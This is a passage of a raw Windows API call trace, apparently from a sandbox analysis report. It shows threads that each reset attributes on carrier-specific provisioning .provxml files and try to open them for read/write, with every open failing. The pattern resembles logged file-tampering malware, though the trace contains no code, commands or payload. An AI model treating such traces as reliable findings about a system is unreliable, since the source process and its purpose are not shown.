(lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.524] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.524] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90768) returned 1 [0181.524] RtlExitUserThread (Status=0x0) Thread: id = 3024 os_tid = 0xea0 [0180.819] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.504] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91380) returned 1 [0181.505] RtlExitUserThread (Status=0x0) Thread: id = 3025 os_tid = 0xea4 [0180.819] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.506] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.506] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90e20) returned 1 [0181.506] RtlExitUserThread (Status=0x0) Thread: id = 3026 os_tid = 0xeac [0180.820] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.507] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90f78) returned 1 [0181.507] RtlExitUserThread (Status=0x0) Thread: id = 3027 os_tid = 0xeb0 [0180.820] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml")) returned 0x20 [0181.508] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.508] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.508] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02d58) returned 1 [0181.508] RtlExitUserThread (Status=0x0) Thread: id = 3028 os_tid = 0xeb4 [0180.820] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.509] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.509] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.509] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90360) returned 1 [0181.509] RtlExitUserThread (Status=0x0) Thread: id = 3029 os_tid = 0xeb8 [0180.821] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0181.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91788) returned 1 [0181.510] RtlExitUserThread (Status=0x0) Thread: id = 3030 os_tid = 0xebc [0180.821] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.511] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.511] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.512] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.512] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2860) returned 1 [0181.512] RtlExitUserThread (Status=0x0) Thread: id = 3031 os_tid = 0xec0 [0180.822] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.513] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.513] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.513] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.513] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054aa0) returned 1 [0181.513] RtlExitUserThread (Status=0x0) Thread: id = 3032 os_tid = 0xec4 [0180.822] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.525] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.525] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.525] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02460) returned 1 [0181.525] RtlExitUserThread (Status=0x0) Thread: id = 3033 os_tid = 0xec8 [0180.822] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.526] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.527] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551f0) returned 1 [0181.527] RtlExitUserThread (Status=0x0) Thread: id = 3034 os_tid = 0xecc [0180.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.960] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.960] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.963] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.963] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01a20) returned 1 [0180.963] RtlExitUserThread (Status=0x0) Thread: id = 3035 os_tid = 0xed0 [0180.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.961] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.961] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.964] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f908c0) returned 1 [0180.964] RtlExitUserThread (Status=0x0) Thread: id = 3036 os_tid = 0xed4 [0180.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.514] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91228) returned 1 [0181.514] RtlExitUserThread (Status=0x0) Thread: id = 3037 os_tid = 0xed8 [0180.824] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.515] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.515] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.516] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03278) returned 1 [0181.516] RtlExitUserThread (Status=0x0) Thread: id = 3038 os_tid = 0xedc [0180.824] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.517] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.517] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90a18) returned 1 [0181.517] RtlExitUserThread (Status=0x0) Thread: id = 3039 os_tid = 0xee0 [0180.827] GetFileAttributesW 